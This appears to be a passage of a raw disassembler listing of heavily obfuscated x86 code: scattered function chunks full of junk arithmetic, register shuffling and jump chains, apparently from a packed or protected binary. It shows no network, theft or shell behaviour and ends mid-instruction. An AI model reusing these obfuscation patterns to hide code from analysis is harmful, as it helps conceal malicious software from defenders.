CHUNK FOR sub_5AB762 loc_5AB5C6: ; CODE XREF: sub_5AB762+15C9j add esi, 4 push eax mov eax, 52A66B92h add eax, 18623868h push esi push esp pop esi add esi, 4 jmp loc_5A74EC ; END OF FUNCTION CHUNK FOR sub_5AB762 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59D6B8 loc_5AB5E5: ; CODE XREF: sub_59D6B8+9E9Fj add [esp+8+var_8], 4 mov ebx, [esp+8+var_8] add esp, 4 jmp loc_5A3038 ; END OF FUNCTION CHUNK FOR sub_59D6B8 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A3992 loc_5AB5F4: ; CODE XREF: sub_5A3992-5F56j shl ebx, 5 jmp loc_5ADBC6 ; END OF FUNCTION CHUNK FOR sub_5A3992 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5B01F7 loc_5AB5FC: ; CODE XREF: sub_5B01F7:loc_5ACB08j shl ecx, 6 add ecx, 0BE830E84h push ecx add [esp+26h+var_26], 12BF40ADh jmp loc_59F1A0 ; END OF FUNCTION CHUNK FOR sub_5B01F7 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A0924 loc_5AB612: ; CODE XREF: sub_5A0924-6304j pop ecx pop [esp+10h+var_10] pop eax jmp loc_5AA47D ; END OF FUNCTION CHUNK FOR sub_5A0924 ; --------------------------------------------------------------------------- loc_5AB61C: ; CODE XREF: sdfs____:005A7080j pop edx jmp loc_5AA0AE ; =============== S U B R O U T I N E ======================================= sub_5AB622 proc near ; DATA XREF: sdfs____:00598FC4o var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 ; FUNCTION CHUNK AT 0059940D SIZE 00000041 BYTES ; FUNCTION CHUNK AT 00599D16 SIZE 00000012 BYTES ; FUNCTION CHUNK AT 0059C120 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0059C20E SIZE 00000011 BYTES ; FUNCTION CHUNK AT 0059D92E SIZE 0000000D BYTES ; FUNCTION CHUNK AT 0059DE30 SIZE 00000016 BYTES ; FUNCTION CHUNK AT 0059E280 SIZE 00000014 BYTES ; FUNCTION CHUNK AT 005A260F SIZE 0000000C BYTES ; FUNCTION CHUNK AT 005A9630 SIZE 00000029 BYTES ; FUNCTION CHUNK AT 005AB2F8 SIZE 00000014 BYTES ; FUNCTION CHUNK AT 005AE496 SIZE 00000008 BYTES ; FUNCTION CHUNK AT 005AFC0A SIZE 0000000A BYTES mov cx, word ptr [esp+4+var_4] sub esp, 4 mov [esp+8+var_8], edi push 1C92h push 70CFh mov [esp+0], esp add dword ptr [esp+0], 4 pop dword ptr [esp+0] jmp loc_599D16 sub_5AB622 endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59ED98 loc_5AB648: ; CODE XREF: sub_59ED98+7290j mov ebx, [esp+0] add esp, 4 mov ecx, [esp-4+arg_0] push 506h mov [esp+0], eax push esp pop eax add eax, 4 add eax, 4 xchg eax, [esp+0] jmp loc_59AC74 ; END OF FUNCTION CHUNK FOR sub_59ED98 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A0AA2 loc_5AB66E: ; CODE XREF: sub_5A0AA2-3BC4j add esp, 4 jmp loc_5AAB99 ; END OF FUNCTION CHUNK FOR sub_5A0AA2 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AA2D1 loc_5AB676: ; CODE XREF: sub_5A2E28-92BCj ; sub_5AA2D1-9760j add eax, 0D8105777h sub eax, 34FE0696h jmp loc_5A2ACE ; END OF FUNCTION CHUNK FOR sub_5AA2D1 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A2E41 loc_5AB685: ; CODE XREF: sub_5A2E41-739Dj and ebx, 5A1F59BBh jnz loc_5A8675 jmp loc_5AC9E5 ; END OF FUNCTION CHUNK FOR sub_5A2E41 ; --------------------------------------------------------------------------- add esp, 4 jmp loc_5AA8D1 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A10E3 loc_5AB69E: ; CODE XREF: sub_5A10E3+C3E4j mov esi, [esp+10h+var_10] add esp, 4 jmp loc_5ADD41 ; END OF FUNCTION CHUNK FOR sub_5A10E3 ; --------------------------------------------------------------------------- loc_5AB6AC: ; CODE XREF: sdfs____:005AA96Aj mov esi, esp jmp loc_5A7175 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A63DC loc_5AB6B3: ; CODE XREF: sub_5A63DC-7A48j dec ebx jg loc_5AC6CA add ebx, 0F337FE52h jmp loc_5A5A82 ; END OF FUNCTION CHUNK FOR sub_5A63DC ; --------------------------------------------------------------------------- pop esp and cl, 0B4h ; START OF FUNCTION CHUNK FOR sub_5A4DFC loc_5AB6C9: ; CODE XREF: sub_5A4DFC+AAF4j mov ebx, [esp+8+var_8] add esp, 4 mov ah, byte ptr [esp+4+var_4+2] mov byte ptr [esp+4+var_4+2], dl mov dx, word ptr [esp+4+var_4] add esp, 2 jmp loc_59910F ; END OF FUNCTION CHUNK FOR sub_5A4DFC ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AA2D1 loc_5AB6E3: ; CODE XREF: sub_5AA2D1-71A2j push dword ptr [esp+4] jmp loc_59E7E8 ; END OF FUNCTION CHUNK FOR sub_5AA2D1 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A7BA0 loc_5AB6EC: ; CODE XREF: sub_5A7BA0-D8D6j shr ecx, 3 sub esp, 4 mov [esp+0], eax mov eax, 0E05155Eh jmp loc_5A06D2 ; END OF FUNCTION CHUNK FOR sub_5A7BA0 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5996E4 loc_5AB702: ; CODE XREF: sub_5996E4+215Fj xor edi, 415B19Ch add esi, edi pop edi push ecx push esi push 288E1057h jmp loc_5AC1C6 ; END OF FUNCTION CHUNK FOR sub_5996E4 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A118F loc_5AB717: ; CODE XREF: sub_5A118F-A1Dj push 231Eh mov [esp+0], ecx jmp sub_5B01F7 ; END OF FUNCTION CHUNK FOR sub_5A118F ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A3947 loc_5AB724: ; CODE XREF: sub_5A3947-6420j pop eax jmp loc_59910F ; END OF FUNCTION CHUNK FOR sub_5A3947 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A6BBC loc_5AB72A: ; CODE XREF: sub_5A6BBC-8E45j mov ebx, 41AA2BDBh and ebx, 15317B08h jmp loc_5A8191 ; END OF FUNCTION CHUNK FOR sub_5A6BBC ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AF2D9 loc_5AB73A: ; CODE XREF: sub_5AF2D9-C9D1j pop ebx add esp, 4 jmp loc_59D8E9 ; END OF FUNCTION CHUNK FOR sub_5AF2D9 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59D4FD loc_5AB746: ; CODE XREF: sub_59D4FD+10540j jmp loc_59910F ; END OF FUNCTION CHUNK FOR sub_59D4FD ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59D37E loc_5AB74B: ; CODE XREF: sub_59D37E+4FC0j add al, 53h pop edx sub al, bl push ecx mov ch, 0FEh sub ch, 17h jmp loc_59E34E ; END OF FUNCTION CHUNK FOR sub_59D37E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5992DA loc_5AB75B: ; CODE XREF: sub_5992DA+2F23j add ebp, edx jmp loc_5A2FEE ; END OF FUNCTION CHUNK FOR sub_5992DA ; =============== S U B R O U T I N E ======================================= sub_5AB762 proc near ; DATA XREF: sdfs____:00598E74o var_C = dword ptr -0Ch var_8 = dword ptr -8 ; FUNCTION CHUNK AT 005A5F75 SIZE 0000000F BYTES ; FUNCTION CHUNK AT 005AB5C6 SIZE 0000001F BYTES ; FUNCTION CHUNK AT 005ACD1B SIZE 00000015 BYTES mov cx, [esp+0] push esi sub esp, 4 mov [esp+8+var_8], esp jmp loc_5A5F75 sub_5AB762 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AA2D1 loc_5AB772: ; CODE XREF: sub_5AA2D1-2F3Bj mov esi, esp push ebp push ebx mov ebx, 77BD4DCDh mov ebp, ebx jmp loc_5AF89A ; END OF FUNCTION CHUNK FOR sub_5AA2D1 ; =============== S U B R O U T I N E ======================================= sub_5AB782 proc near ; DATA XREF: sdfs____:00599008o lodsd jmp loc_599276 sub_5AB782 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5992DA loc_5AB788: ; CODE XREF: sub_5A9EBF+573Bj ; sub_5992DA+16487j pop ebx add edi, ebx jmp loc_599D7F ; END OF FUNCTION CHUNK FOR sub_5992DA ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59CBE1 loc_5AB790: ; CODE XREF: sub_59CBE1+10443j pop ebx sub eax, 4 push eax push [esp+0Ah+var_8+2] pop eax jmp loc_5A3C3F ; END OF FUNCTION CHUNK FOR sub_59CBE1 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A317A loc_5AB7A1: ; CODE XREF: sub_5A317A+1Ej pop esi jmp loc_59BF7D ; END OF FUNCTION CHUNK FOR sub_5A317A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59A26C loc_5AB7A7: ; CODE XREF: sub_59A26C+DAE5j push 2F7h mov [esp+0], ebp push 660A5208h pop ebp not ebp xor ebp, 977BB7BCh mov esi, ebp pop ebp push eax mov eax, 2CB80DF3h and esi, eax jmp loc_59DD7C ; END OF FUNCTION CHUNK FOR sub_59A26C ; =============== S U B R O U T I N E ======================================= sub_5AB7CD proc near ; DATA XREF: sdfs____:00598F7Co xor [esp+0], dx xor dx, [esp+0] xor [esp+0], dx jmp loc_5A712A sub_5AB7CD endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5992DA loc_5AB7DE: ; CODE XREF: sub_5992DA+DA24j add ecx, 4DAF58B2h sub ebx, 692D2281h add ebx, ecx push eax mov eax, 692D2281h add ebx, 5CBC7752h add ebx, eax sub ebx, 5CBC7752h pop eax mov ecx, [esp+20h+var_22+2] add esp, 4 add ebx, 25063AB8h not ebx shr ebx, 1 push edi mov edi, 6589785h add ebx, 3D420349h jmp loc_5A003C ; END OF FUNCTION CHUNK FOR sub_5992DA ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59FB1A loc_5AB825: ; CODE XREF: sub_59FB1A-635Aj mov bh, 0AFh push ecx mov ch, 62h sub bh, ch pop ecx sub bh, cl add bh, 62h jmp loc_5A4597 ; END OF FUNCTION CHUNK FOR sub_59FB1A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59A479 loc_5AB837: ; CODE XREF: sub_59A479+D4CBj mov ecx, [esp+0Ch+var_C] jmp loc_5A4D00 ; END OF FUNCTION CHUNK FOR sub_59A479 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AAE5E loc_5AB83F: ; CODE XREF: sub_5AAE5E+9j add ebx, 4 xchg ebx, [esp+4+var_4] pop esp push ebp jmp loc_5AD934 ; END OF FUNCTION CHUNK FOR sub_5AAE5E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AA2D1 loc_5AB84C: ; CODE XREF: sub_5AA2D1+A73j shl ebp, 4 push esi mov esi, 473310A0h add ebp, esi jmp loc_5A5518 ; END OF FUNCTION CHUNK FOR sub_5AA2D1 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59F4D2 loc_5AB85C: ; CODE XREF: sub_59F4D2-57E2j jmp loc_5AE483 ; END OF FUNCTION CHUNK FOR sub_59F4D2 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AB5A9 loc_5AB861: ; CODE XREF: sub_5AB5A9-10049j mov ebx, [esp+8+var_8] jmp loc_5A6DA0 ; END OF FUNCTION CHUNK FOR sub_5AB5A9 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AE9FA loc_5AB869: ; CODE XREF: sub_5AE9FA-13286j shr edx, 8 jmp loc_5A15F5 ; END OF FUNCTION CHUNK FOR sub_5AE9FA ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_599A61 loc_5AB871: ; CODE XREF: sub_599A61+89C1j ; sub_5AA2D1-5511j push edx jmp loc_59A8DC ; END OF FUNCTION CHUNK FOR sub_599A61 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AA2D1 loc_5AB877: ; CODE XREF: sub_5AA2D1-4DABj shr ebx, 7 inc ebx jnp sub_5AFE9D sub esp, 4 mov [esp-1Ah+arg_14+2], eax mov eax, 72FE475Ah push ebp loc_5AB890: ; CODE XREF: sub_5ADD81-10C52j sub di, 6044h push di sub esp, 2 mov word ptr [esp-10h+arg_C], bx pop di pop bx dec bx push di push bx jmp loc_59C754 ; END OF FUNCTION CHUNK FOR sub_5AA2D1 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5B01F7 loc_5AB8B0: ; CODE XREF: sub_5B01F7-2E96j add ecx, 7B137D20h sub ecx, eax sub ecx, 7B137D20h push edx mov edx, 3E122E90h neg edx and edx, 4B7573A2h and edx, 1A96181Ah add edx, 65611215h jmp loc_5A2EA7 ; END OF FUNCTION CHUNK FOR sub_5B01F7 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A16B8 loc_5AB8DD: ; CODE XREF: sub_5A16B8-6A21j mov [esp+8+var_8], ecx mov ecx, 4A64002h push ebp push 50B1038Bh pop ebp dec ebp sub ebp, 4D2B4E57h jmp loc_5AB4BC ; END OF FUNCTION CHUNK FOR sub_5A16B8 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59EE3E loc_5AB8F8: ; CODE XREF: sub_59EE3E+7DC6j add esi, ebp mov ebp, [esp+4+var_4] jmp loc_5A5576 ; END OF FUNCTION CHUNK FOR sub_59EE3E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AD243 loc_5AB902: ; CODE XREF: sub_5AD243-13D7Fj dec eax add eax, 5BFF4F35h jge loc_59DA68 add eax, 0A6134972h sub eax, 137F67E9h sub eax, 44387051h loc_5AB91D: ; CODE XREF: sub_5B01F7-50CAj mov ebp, esp jmp loc_5AF44F ; END OF FUNCTION CHUNK FOR sub_5AD243 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59DD36 loc_5AB924: ; CODE XREF: sub_59DD36+71EEj push edi mov edi, esp add edi, 4 jmp loc_5A2764 ; END OF FUNCTION CHUNK FOR sub_59DD36 ; --------------------------------------------------------------------------- loc_5AB932: ; CODE XREF: sdfs____:0059FB15j mov esi, 2 sub edx, 8A33BFBh push esi mov esi, 1DEB4268h jmp loc_5A2828 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5992DA loc_5AB948: ; CODE XREF: sub_5992DA+14C3Dj xor ebp, ecx pop ecx jmp loc_5A4133 ; END OF FUNCTION CHUNK FOR sub_5992DA ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5ADD33 loc_5AB950: ; CODE XREF: sub_5ADD33-12D5Dj pop esp add edi, 4 add edi, 4 jmp loc_5A14B6 ; END OF FUNCTION CHUNK FOR sub_5ADD33 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AA2D1 loc_5AB95F: ; CODE XREF: sub_5AA2D1-3C2Aj pop eax add esp, 4 push 5521h mov [esp-18h+arg_14], esi push ecx mov ecx, 64CE6CBDh sub ecx, 4D317965h jo loc_59E0AE shr ecx, 4 sub ecx, 1F9B1D7Dh jnp loc_5A22CB sub ecx, 0AF237458h mov esi, ecx pop ecx push edx jmp loc_5A2599 ; END OF FUNCTION CHUNK FOR sub_5AA2D1 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A77D5 loc_5AB99E: ; CODE XREF: sub_5A77D5+32E0j and ebx, eax pop eax or ebx, 4A8C7104h push eax push 49692BDFh pop eax not eax xor eax, 0A176850Fh or ebx, eax pop eax push edx mov edx, 513F436Dh push eax jmp loc_5A32BE ; END OF FUNCTION CHUNK FOR sub_5A77D5 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AB5A9 loc_5AB9C4: ; CODE XREF: sub_5AB5A9+18j pop ebx push edx jmp loc_59BDFA ; END OF FUNCTION CHUNK FOR sub_5AB5A9 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A477C loc_5AB9CB: ; CODE XREF: sub_5A477C-704j sub esi, ebp jmp loc_5A6534 ; END OF FUNCTION CHUNK FOR sub_5A477C ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AD993 loc_5AB9D2: ; CODE XREF: sub_5AD993-13E5Aj mov eax, [esp-0Ch+arg_8] push edi mov edi, esp jmp loc_59AB8F ; END OF FUNCTION CHUNK FOR sub_5AD993 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A580F loc_5AB9DD: ; CODE XREF: sub_5A580F+27E2j pop ebx add esi, edx push ecx jmp loc_59FFD2 ; END OF FUNCTION CHUNK FOR sub_5A580F ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_599664 loc_5AB9E6: ; CODE XREF: sub_599664+326Ej push small 4579h mov [esp+0], bp jmp loc_5A88ED ; END OF FUNCTION CHUNK FOR sub_599664 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A63DC loc_5AB9F3: ; CODE XREF: sub_5A63DC-621Ej pop ecx sub edi, 4 xchg edi, [esp+0Ch+var_C] jmp loc_59DEC6 ; END OF FUNCTION CHUNK FOR sub_5A63DC ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59B4B1 loc_5AB9FF: ; CODE XREF: sub_59B4B1+E36Dj add bl, 8Ch pop ecx mov edx, [esp-4+arg_0] jmp loc_5A495C ; END OF FUNCTION CHUNK FOR sub_59B4B1 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AA2D1 loc_5ABA0B: ; CODE XREF: sub_5AA2D1-CF98j mov edi, [esp+10h+var_10] push eax mov eax, esp add eax, 4 add eax, 4 jmp loc_5AD5D6 ; END OF FUNCTION CHUNK FOR sub_5AA2D1 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59A479 loc_5ABA1E: ; CODE XREF: sub_5AE72D-11753j ; sub_59A479+554Aj mov [esp+8+var_8], esp jmp loc_5AD63C ; END OF FUNCTION CHUNK FOR sub_59A479 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AFE9D loc_5ABA26: ; CODE XREF: sub_5AFE9D+1Ej push eax xchg ecx, [esp+8+var_8] push ecx not [esp+0Ch+var_C] pop ecx xchg ecx, [esp+8+var_8] pop eax jmp loc_5A0176 ; END OF FUNCTION CHUNK FOR sub_5AFE9D ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59F463 loc_5ABA38: ; CODE XREF: sub_59F463+48C0j pop eax add eax, 4 jmp loc_5AFB4E ; END OF FUNCTION CHUNK FOR sub_59F463 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A580F loc_5ABA43: ; CODE XREF: sub_5A580F+3j mov [esp+0Ch+var_C], esi jmp loc_5A07F4 ; END OF FUNCTION CHUNK FOR sub_5A580F ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A477C loc_5ABA4B: ; CODE XREF: sub_5A477C+DEj jmp loc_5A0FB0 ; END OF FUNCTION CHUNK FOR sub_5A477C ; --------------------------------------------------------------------------- loc_5ABA50: ; CODE XREF: sdfs____:0059DCCCj pop eax jmp loc_5AC53D ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AC18D loc_5ABA56: ; CODE XREF: sub_5AC18D-1E83j add ebx, 4 xchg ebx, [esp+4+var_4] jmp loc_5A3DD2 ; END OF FUNCTION CHUNK FOR sub_5AC18D ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5992DA loc_5ABA61: ; CODE XREF: sub_5AFD37:loc_5A30D2j ; sub_5992DA+F7AFj ... sub edx, eax sub edx, 7F8D06B1h pop eax jmp loc_5A966F ; END OF FUNCTION CHUNK FOR sub_5992DA ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AA2D1 loc_5ABA6F: ; CODE XREF: sub_5AA2D1-954Cj sub ecx, 561223B7h push [esp+4+var_4] pop ebp add esp, 4 xchg ecx, [esp+0] jmp loc_5B0302 ; END OF FUNCTION CHUNK FOR sub_5AA2D1 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A477C loc_5ABA87: ; CODE XREF: sub_5A477C-5780j dec eax or eax, 6E9B09A2h add eax, 74A2D637h sub edi, eax pop eax add edi, 3C201D46h add edi, ebx sub edi, 3C201D46h jmp loc_5A4207 ; END OF FUNCTION CHUNK FOR sub_5A477C ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59EE3E loc_5ABAA8: ; CODE XREF: sub_59EE3E+2465j add esp, 4 xor eax, ebx push [esp+4+var_4] pop ebx add esp, 4 add ebx, 484559D7h push edi mov edi, 5FAC5954h shl edi, 7 shr edi, 8 or edi, 1EC05BD1h sub edi, 386E399Eh jmp loc_5ADA50 ; END OF FUNCTION CHUNK FOR sub_59EE3E ; =============== S U B R O U T I N E ======================================= sub_5ABAD7 proc near ; CODE XREF: sub_5AD243-12D39j sub esp, 4 jmp loc_5A7E28 sub_5ABAD7 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A5824 loc_5ABADF: ; CODE XREF: sub_5A5824-5B57j pop eax add esp, 4 push 5ADEh jmp loc_5A721C ; END OF FUNCTION CHUNK FOR sub_5A5824 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5992DA loc_5ABAF0: ; CODE XREF: sub_5992DA+8C42j push 1417h mov [esp+0Ah+var_C+2], edi sub esp, 4 mov [esp+0Eh+var_10+2], esi push ecx mov ecx, 74695DA1h mov esi, 480450D6h xor esi, ecx jmp loc_5A454D ; END OF FUNCTION CHUNK FOR sub_5992DA ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AA2D1 loc_5ABB10: ; CODE XREF: sub_5AA2D1+4041j push 1A08h mov [esp+4+var_4], eax push 1E64297Bh jmp loc_59F455 ; END OF FUNCTION CHUNK FOR sub_5AA2D1 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A3C19 loc_5ABB22: ; CODE XREF: sub_5A3C19-7CEDj or eax, 23591EC7h add eax, 9404E02Dh mov ebp, eax pop eax jmp loc_59B264 ; END OF FUNCTION CHUNK FOR sub_5A3C19 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A77D5 loc_5ABB34: ; CODE XREF: sub_5A77D5-5BA5j add esp, 4 push edx jmp loc_5A158E ; END OF FUNCTION CHUNK FOR sub_5A77D5 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59D6B8 loc_5ABB40: ; CODE XREF: sub_59D6B8:loc_5AB3A6j and eax, 58E621B3h jns loc_5A29AD jmp sub_5A6B87 ; END OF FUNCTION CHUNK FOR sub_59D6B8 ; --------------------------------------------------------------------------- add ecx, 4 mov dl, 0C1h pop ebx ; START OF FUNCTION CHUNK FOR sub_59D4FD loc_5ABB5A: ; CODE XREF: sub_59D4FD-1C2Fj xor edx, 4F69038Ch jmp loc_5A0723 ; END OF FUNCTION CHUNK FOR sub_59D4FD ; =============== S U B R O U T I N E ======================================= sub_5ABB65 proc near ; DATA XREF: sdfs____:00599074o var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 ; FUNCTION CHUNK AT 00599D48 SIZE 00000007 BYTES ; FUNCTION CHUNK AT 0059F538 SIZE 00000008 BYTES ; FUNCTION CHUNK AT 005A2343 SIZE 00000009 BYTES ; FUNCTION CHUNK AT 005A3397 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 005A400C SIZE 00000014 BYTES ; FUNCTION CHUNK AT 005A481C SIZE 0000000C BYTES ; FUNCTION CHUNK AT 005A566C SIZE 00000008 BYTES ; FUNCTION CHUNK AT 005A8E22 SIZE 00000011 BYTES ; FUNCTION CHUNK AT 005A8E6A SIZE 0000000B BYTES ; FUNCTION CHUNK AT 005ACDBA SIZE 00000020 BYTES ; FUNCTION CHUNK AT 005AD972 SIZE 00000021 BYTES mov ax, [esp+0] push 1920h mov [esp+4+var_4], ebx push esp jmp loc_5A8E22 sub_5ABB65 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59C979 loc_5ABB77: ; CODE XREF: sub_59C979+8347j mov cl, 87h sub cl, 0D3h sub cl, 6Fh add cl, 0 xor cl, 6Ah sub ah, cl pop ecx add ah, dl add ah, 2Fh pop edx jmp loc_59E8D2 ; END OF FUNCTION CHUNK FOR sub_59C979 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A6BBC loc_5ABB93: ; CODE XREF: sub_5A9EBF-FD8Aj ; sub_5A6BBC+5108j xor [esp+4+var_4], esi xor esi, [esp+4+var_4] mov esp, [esp+4+var_4] push ebp jmp sub_59BA35 ; END OF FUNCTION CHUNK FOR sub_5A6BBC ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59F074 loc_5ABBA2: ; CODE XREF: sub_59F074+9B79j mov eax, [esp+0] add esp, 4 jmp loc_5A9FE8 ; END OF FUNCTION CHUNK FOR sub_59F074 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5ABFD8 loc_5ABBB0: ; CODE XREF: sub_5ABFD8-151Bj push esp pop esi push edx jmp loc_5A10D3 ; END OF FUNCTION CHUNK FOR sub_5ABFD8 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59F4D2 loc_5ABBB8: ; CODE XREF: sub_5A79BE+FCFj ; sub_59F4D2+EFBFj pop eax add ecx, 2BA029E5h push ebp mov ebp, 19145D0Ch and ebp, 69220C53h xor ebp, 0D81705Fh jmp loc_59E1AD ; END OF FUNCTION CHUNK FOR sub_59F4D2 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59EE3E loc_5ABBD6: ; CODE XREF: sub_59EE3E-508j push edi mov edi, 7CE11922h add edi, 60EE7E52h xor edi, 5CD816F7h push esi mov esi, 3D863AB5h xor edi, esi pop esi inc edi sub edi, 4BF65C45h sub ebp, 14F3093Eh jmp loc_5A7EB2 ; END OF FUNCTION CHUNK FOR sub_59EE3E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A9D64 loc_5ABC03: ; CODE XREF: sub_5A9D64-7588j ; sub_5A79BE:loc_5AA53Aj ... shr esi, 7 sub esi, 1 jmp loc_5A437A ; END OF FUNCTION CHUNK FOR sub_5A9D64 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AD6D4 loc_5ABC0E: ; CODE XREF: sub_5AD6D4-9012j mov eax, 138040D9h shl eax, 8 jmp loc_5A2433 ; END OF FUNCTION CHUNK FOR sub_5AD6D4 ; --------------------------------------------------------------------------- loc_5ABC1B: ; CODE XREF: sdfs____:005A28B8j push eax push 26A34A6Dh pop eax jmp loc_5A04C1 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A580F loc_5ABC27: ; CODE XREF: sub_5A580F-7563j push eax mov eax, esp jmp loc_5A3966 ; END OF FUNCTION CHUNK FOR sub_5A580F ; =============== S U B R O U T I N E ======================================= sub_5ABC2F proc near ; DATA XREF: sdfs____:00598F10o var_10 = dword ptr -10h var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 4 ; FUNCTION CHUNK AT 0059C99B SIZE 00000012 BYTES ; FUNCTION CHUNK AT 005A9730 SIZE 0000000B BYTES push [esp+arg_0] push [esp+4+var_4] jmp loc_5A9730 sub_5ABC2F endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A72CB loc_5ABC3B: ; CODE XREF: sub_5A72CB-6086j sub ebp, 0C83D6047h mov eax, ebp pop ebp sub ebp, eax push [esp+8+var_8] jmp loc_5A58F1 ; END OF FUNCTION CHUNK FOR sub_5A72CB ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A16B8 loc_5ABC4E: ; CODE XREF: sub_5A16B8+6466j pop edi push esi mov esi, 2 add ebx, esi mov esi, [esp+4+var_4] add esp, 4 xchg ebx, [esp+0] pop esp sar byte ptr [esp-4+arg_0], cl pushf jmp loc_5AE59B ; END OF FUNCTION CHUNK FOR sub_5A16B8 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AA2D1 loc_5ABC6D: ; CODE XREF: sub_5AA2D1-F0C0j push 0A0Ch jmp loc_599D94 ; END OF FUNCTION CHUNK FOR sub_5AA2D1 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A0AA2 loc_5ABC77: ; CODE XREF: sub_5A0AA2-27C3j push esi pop ecx pop esi mov 